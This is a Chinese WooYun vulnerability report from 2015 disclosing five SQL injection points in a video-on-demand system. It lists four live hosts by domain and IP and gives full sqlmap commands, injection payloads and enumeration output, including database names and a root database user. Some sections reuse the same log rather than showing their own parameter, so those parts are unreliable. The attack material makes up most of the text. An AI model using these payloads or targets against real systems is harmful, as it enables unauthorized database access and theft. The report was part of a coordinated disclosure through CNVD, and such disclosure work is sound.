当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101220

漏洞标题：某视频点播系统通用SQL注射漏洞#五处打包

相关厂商：国家互联网应急中心

漏洞作者： term

提交时间：2015-03-16 11:40

修复时间：2015-06-18 11:48

公开时间：2015-06-18 11:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-16： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-23： 细节向第三方安全合作伙伴开放
2015-05-14： 细节向核心白帽子及相关领域专家公开
2015-05-24： 细节向普通白帽子公开
2015-06-03： 细节向实习白帽子公开
2015-06-18： 细节向公众公开

简要描述：

RT

详细说明：

貌似第一次打开网站的时候会打不开,刷新下即可！
第一处：vodsys.MovieInfor?id=

http://www.donvieware.com:8085/servlet/vodsys.MovieInfor?id=950
http://125.88.124.147:8085/servlet/vodsys.MovieInfor?id=1074
http://121.10.252.178:8085/servlet/vodsys.MovieInfor?id=1014
http://61.189.240.78:8085/servlet/vodsys.MovieInfor?id=2659


C:\sqlmap>sqlmap.py -u "http://www.donvieware.com:8085/servlet/vodsys.MovieInfor
?id=950" --dbs --batch
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:02:27
[20:02:27] [INFO] resuming back-end DBMS 'mysql'
[20:02:27] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=950 AND 1932=1932
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=950 AND (SELECT 2526 FROM(SELECT COUNT(*),CONCAT(0x717a687271,(S
ELECT (CASE WHEN (2526=2526) THEN 1 ELSE 0 END)),0x7174657371,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 24 columns
    Payload: id=-5664 UNION ALL SELECT 7053,7053,7053,7053,CONCAT(0x717a687271,0
x7767456c5578696a6757,0x7174657371),7053,7053,7053,7053,7053,7053,7053,7053,7053
,7053,7053,7053,7053,7053,7053,7053,7053,7053,7053#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=950 AND SLEEP(5)
---
[20:02:28] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:02:28] [INFO] fetching database names
[20:02:28] [INFO] the SQL query used returns 44 entries
available databases [44]:
[*] #mysql50#erms_jun.bak
[*] #mysql50#erms_jun.ok
[*] #mysql50#ermsb.bak
[*] dlgk
[*] dms
[*] eduman1
[*] eduman10
[*] eduman2
[*] erms
[*] erms_jun
[*] erms_wj
[*] ermsb
[*] ermsnew
[*] ermst
[*] gkdl
[*] gkhx
[*] gkls
[*] gksw
[*] gksx
[*] gkwl
[*] gkyw
[*] gkyy
[*] gkzz
[*] information_schema
[*] lab
[*] laball
[*] labb
[*] labnew
[*] mdvdoc
[*] mdvread1
[*] mdvread2
[*] mysql
[*] school1
[*] school100
[*] snkey
[*] test
[*] var
[*] VodDb
[*] WebtkDb
[*] zkhx
[*] zksx
[*] zkwl
[*] zkyw
[*] zkyy
[20:02:28] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:02:28


C:\sqlmap>sqlmap.py -u "http://www.donvieware.com:8085/servlet/vodsys.MovieInfor
?id=950" --current-user --current-db
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:03:28
[20:03:28] [INFO] resuming back-end DBMS 'mysql'
[20:03:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=950 AND 1932=1932
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=950 AND (SELECT 2526 FROM(SELECT COUNT(*),CONCAT(0x717a687271,(S
ELECT (CASE WHEN (2526=2526) THEN 1 ELSE 0 END)),0x7174657371,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 24 columns
    Payload: id=-5664 UNION ALL SELECT 7053,7053,7053,7053,CONCAT(0x717a687271,0
x7767456c5578696a6757,0x7174657371),7053,7053,7053,7053,7053,7053,7053,7053,7053
,7053,7053,7053,7053,7053,7053,7053,7053,7053,7053#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=950 AND SLEEP(5)
---
[20:03:29] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:03:29] [INFO] fetching current user
current user:    'root@localhost'
[20:03:29] [INFO] fetching current database
current database:    'VodDb'
[20:03:29] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:03:29


1.png


2.png


第二处：vodsys.bulletinadmin.BulletinInfor?id=

http://61.189.240.78:8085/servlet/vodsys.bulletinadmin.BulletinInfor?id=113
http://www.donvieware.com:8085/servlet/vodsys.bulletinadmin.BulletinInfor?id=104
http://125.88.124.147:8085/servlet/vodsys.bulletinadmin.BulletinInfor?id=2
http://121.10.252.178:8085/servlet/vodsys.bulletinadmin.BulletinInfor?id=104


C:\sqlmap>sqlmap.py -u "http://www.donvieware.com:8085/servlet/vodsys.MovieInfor
?id=950" --current-user --current-db
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:03:28
[20:03:28] [INFO] resuming back-end DBMS 'mysql'
[20:03:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=950 AND 1932=1932
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=950 AND (SELECT 2526 FROM(SELECT COUNT(*),CONCAT(0x717a687271,(S
ELECT (CASE WHEN (2526=2526) THEN 1 ELSE 0 END)),0x7174657371,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 24 columns
    Payload: id=-5664 UNION ALL SELECT 7053,7053,7053,7053,CONCAT(0x717a687271,0
x7767456c5578696a6757,0x7174657371),7053,7053,7053,7053,7053,7053,7053,7053,7053
,7053,7053,7053,7053,7053,7053,7053,7053,7053,7053#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=950 AND SLEEP(5)
---
[20:03:29] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:03:29] [INFO] fetching current user
current user:    'root@localhost'
[20:03:29] [INFO] fetching current database
current database:    'VodDb'
[20:03:29] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:03:29
C:\sqlmap>sqlmap.py -u "http://www.donvieware.com:8085/servlet/vodsys.MovieInfor
?id=950" --dbs --batch
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:05:30
[20:05:30] [INFO] resuming back-end DBMS 'mysql'
[20:05:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=950 AND 1932=1932
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=950 AND (SELECT 2526 FROM(SELECT COUNT(*),CONCAT(0x717a687271,(S
ELECT (CASE WHEN (2526=2526) THEN 1 ELSE 0 END)),0x7174657371,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 24 columns
    Payload: id=-5664 UNION ALL SELECT 7053,7053,7053,7053,CONCAT(0x717a687271,0
x7767456c5578696a6757,0x7174657371),7053,7053,7053,7053,7053,7053,7053,7053,7053
,7053,7053,7053,7053,7053,7053,7053,7053,7053,7053#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=950 AND SLEEP(5)
---
[20:05:31] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:05:31] [INFO] fetching database names
[20:05:31] [INFO] the SQL query used returns 44 entries
available databases [44]:
[*] #mysql50#erms_jun.bak
[*] #mysql50#erms_jun.ok
[*] #mysql50#ermsb.bak
[*] dlgk
[*] dms
[*] eduman1
[*] eduman10
[*] eduman2
[*] erms
[*] erms_jun
[*] erms_wj
[*] ermsb
[*] ermsnew
[*] ermst
[*] gkdl
[*] gkhx
[*] gkls
[*] gksw
[*] gksx
[*] gkwl
[*] gkyw
[*] gkyy
[*] gkzz
[*] information_schema
[*] lab
[*] laball
[*] labb
[*] labnew
[*] mdvdoc
[*] mdvread1
[*] mdvread2
[*] mysql
[*] school1
[*] school100
[*] snkey
[*] test
[*] var
[*] VodDb
[*] WebtkDb
[*] zkhx
[*] zksx
[*] zkwl
[*] zkyw
[*] zkyy
[20:05:31] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:05:31


第三处：filmid参数

注入点在视频播放那里,filmid参数存在注入，盲注！
http://121.10.252.178:8085/servlet/vodsys.filmplay?filmid=553&fileid=2087
http://125.88.124.147:8085/servlet/vodsys.filmplay?filmid=2650&fileid=4331
http://61.189.240.78:8085/servlet/vodsys.filmplay?filmid=2958&fileid=5292
http://www.donvieware.com:8085/servlet/vodsys.filmplay?filmid=3834&fileid=5793


C:\sqlmap>sqlmap.py -u "http://121.10.252.178:8085/servlet/vodsys.filmplay?filmi
d=553&fileid=2087" --dbs --batch
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:07:04
[20:07:04] [INFO] resuming back-end DBMS 'mysql'
[20:07:04] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: filmid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: filmid=553 AND 9408=9408&fileid=2087
---
[20:07:13] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5
[20:07:13] [INFO] fetching database names
[20:07:13] [INFO] fetching number of databases
[20:07:13] [INFO] resumed: 22
[20:07:13] [INFO] resumed: information_schema
[20:07:13] [INFO] resumed: VodDb
[20:07:13] [INFO] resumed: WebtkDb
[20:07:13] [INFO] resumed: erms
[20:07:13] [INFO] resumed: gkdl
[20:07:13] [INFO] resumed: gkhx
[20:07:13] [INFO] resumed: gkls
[20:07:13] [INFO] resumed: gksw
[20:07:13] [INFO] resumed: gksx
[20:07:13] [INFO] resumed: gkwl
[20:07:13] [INFO] resumed: gkyw
[20:07:13] [INFO] resumed: gkyy
[20:07:13] [INFO] resumed: gkzz
[20:07:13] [INFO] resumed: lab
[20:07:13] [INFO] resumed: mdvread1
[20:07:13] [INFO] resumed: mysql
[20:07:13] [INFO] resumed: test
[20:07:13] [INFO] resumed: zkhx
[20:07:13] [INFO] resumed: zksx
[20:07:13] [INFO] resumed: zkwl
[20:07:13] [INFO] resumed: zkyw
[20:07:13] [INFO] resumed: zkyy
available databases [22]:
[*] erms
[*] gkdl
[*] gkhx
[*] gkls
[*] gksw
[*] gksx
[*] gkwl
[*] gkyw
[*] gkyy
[*] gkzz
[*] information_schema
[*] lab
[*] mdvread1
[*] mysql
[*] test
[*] VodDb
[*] WebtkDb
[*] zkhx
[*] zksx
[*] zkwl
[*] zkyw
[*] zkyy
[20:07:13] [INFO] fetched data logged to text files under 'C:\sqlmap\output\121.
10.252.178'
[*] shutting down at 20:07:13


3.png


第四处：vodsys.CommendAdd?id=

这个注入点在发表评论处！
http://121.10.252.178:8085/servlet/vodsys.CommendAdd?id=93
http://61.189.240.78:8085/servlet/vodsys.CommendAdd?id=2659
http://www.donvieware.com:8085/servlet/vodsys.CommendAdd?id=950
http://125.88.124.147:8085/servlet/vodsys.CommendAdd?id=1008


C:\sqlmap>sqlmap.py -u "http://www.donvieware.com:8085/servlet/vodsys.MovieInfor
?id=950" --dbs --batch
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:08:46
[20:08:46] [INFO] resuming back-end DBMS 'mysql'
[20:08:46] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=950 AND 1932=1932
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=950 AND (SELECT 2526 FROM(SELECT COUNT(*),CONCAT(0x717a687271,(S
ELECT (CASE WHEN (2526=2526) THEN 1 ELSE 0 END)),0x7174657371,FLOOR(RAND(0)*2))x
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (random number) - 24 columns
    Payload: id=-5664 UNION ALL SELECT 7053,7053,7053,7053,CONCAT(0x717a687271,0
x7767456c5578696a6757,0x7174657371),7053,7053,7053,7053,7053,7053,7053,7053,7053
,7053,7053,7053,7053,7053,7053,7053,7053,7053,7053#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=950 AND SLEEP(5)
---
[20:08:46] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0
[20:08:46] [INFO] fetching database names
[20:08:46] [INFO] the SQL query used returns 44 entries
available databases [44]:
[*] #mysql50#erms_jun.bak
[*] #mysql50#erms_jun.ok
[*] #mysql50#ermsb.bak
[*] dlgk
[*] dms
[*] eduman1
[*] eduman10
[*] eduman2
[*] erms
[*] erms_jun
[*] erms_wj
[*] ermsb
[*] ermsnew
[*] ermst
[*] gkdl
[*] gkhx
[*] gkls
[*] gksw
[*] gksx
[*] gkwl
[*] gkyw
[*] gkyy
[*] gkzz
[*] information_schema
[*] lab
[*] laball
[*] labb
[*] labnew
[*] mdvdoc
[*] mdvread1
[*] mdvread2
[*] mysql
[*] school1
[*] school100
[*] snkey
[*] test
[*] var
[*] VodDb
[*] WebtkDb
[*] zkhx
[*] zksx
[*] zkwl
[*] zkyw
[*] zkyy
[20:08:46] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:08:46


第五处：userID参数

这处注入出在用户注册页面,userID参数存在POST注入,盲注！
http://www.donvieware.com:8085/servlet/vodsys.userregister
http://125.88.124.147:8085/servlet/vodsys.userregister
http://121.10.252.178:8085/servlet/vodsys.userregister
http://61.189.240.78:8085/servlet/vodsys.userregister


a.png


b.jpg


c.jpg


POST parameter 'userID' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] N
sqlmap identified the following injection points with a total of 102 HTTP(s) req
uests:
---
Place: POST
Parameter: userID
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: userID=abb123' AND SLEEP(5) AND 'vYzX'='vYzX&pwd=abb123&pwdagain=ab
b123&name=%CE%DA%D4%C6&sex=1&mail=123456789@qq.com&phone=&mobile=&address=&pwdqu
estion=%CE%D2%CA%C7%CB%AD%A3%BF&pwdanswer=%CE%DA%D4%C6&Submit=%D7%A2%B2%E1
---
[20:14:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[20:14:30] [INFO] fetched data logged to text files under 'C:\sqlmap\output\www.
donvieware.com'
[*] shutting down at 20:14:30

漏洞证明：

1.png


2.png

修复方案：

你们更专业！

版权声明：转载请注明来源 term@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-03-20 11:46

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位（软件生产厂商）通报。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-24 09:47 | Hero ( 普通白帽子 | Rank:116 漏洞数:31 | 药药切克闹,充气娃娃迷幻药)

    五处是多少钱？

  2. 2015-08-24 09:54 | term ( 实习白帽子 | Rank:72 漏洞数:21 )

    @Hero 500 单个发的话 200一个

  3. 2015-08-24 10:27 | Hero ( 普通白帽子 | Rank:116 漏洞数:31 | 药药切克闹,充气娃娃迷幻药)

    @term 这么说是一处100打包几个算几百？

  4. 2015-08-24 11:52 | term ( 实习白帽子 | Rank:72 漏洞数:21 )

    @Hero 是啊 这个是低质量漏洞 而且案例少 其他的我就不清楚了